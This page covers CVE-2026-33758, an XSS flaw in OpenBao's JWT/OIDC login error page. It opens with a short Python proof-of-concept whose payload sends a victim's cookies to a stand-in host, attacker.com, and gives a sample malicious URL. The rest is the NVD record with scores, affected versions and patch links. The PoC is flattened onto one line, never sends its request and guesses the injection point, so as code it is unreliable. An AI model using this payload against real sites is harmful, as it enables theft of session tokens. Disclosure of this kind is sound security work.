CVE-2026-33758

# Proof of Concept for CVE-2026-33758 # This script demonstrates how to trigger the XSS by manipulating the error_description. import requests target_url = "https://<target-openbao>/v1/auth/jwt/login" # The payload attempts to steal the token via XSS xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Constructing a malicious request that forces an error condition # In a real scenario, this might involve tricking the user into clicking a link # that results in this error state being reflected back. data = { "role": "direct_role", # A role configured with callback_mode=direct "jwt": "invalid.jwt.token" # Invalid token to trigger error } # Note: The vulnerability relies on the error_description reflecting untrusted input # If the application allows manipulation of the error description via headers or query params # during the OIDC flow, that is where the payload is injected. # Example malicious URL victim might click: # https://target/v1/auth/jwt/login?error_description=<script>evil()</script>

{"cve": {"id": "CVE-2026-33758", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:57.863", "lastModified": "2026-03-30T17:21:54.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenBao is an open source identity-based secrets management system. Prior to version 2.5.2, OpenBao installations that have an OIDC/JWT authentication method enabled and a role with `callback_mode=direct` configured are vulnerable to XSS via the `error_description` parameter on the page for a failed authentication. This allows an attacker access to the token used in the Web UI by a victim. The `error_description` parameter has been replaced with a static error message in v2.5.2. The vulnerability can be mitigated by removing any roles with `callback_mode` set to `direct`."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openbao:openbao:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.2", "matchCriteriaId": "F1489D2B-6994-46B2-8550-256B9EFCFD48"}]}]}], "references": [{"url": "https://github.com/openbao/openbao/commit/6e2b2dd84f0e47cebc90d6e79609dd5274732662", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openbao/openbao/pull/2709", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/openbao/openbao/releases/tag/v2.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/openbao/openbao/security/advisories/GHSA-cpj3-3r2f-xj59", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}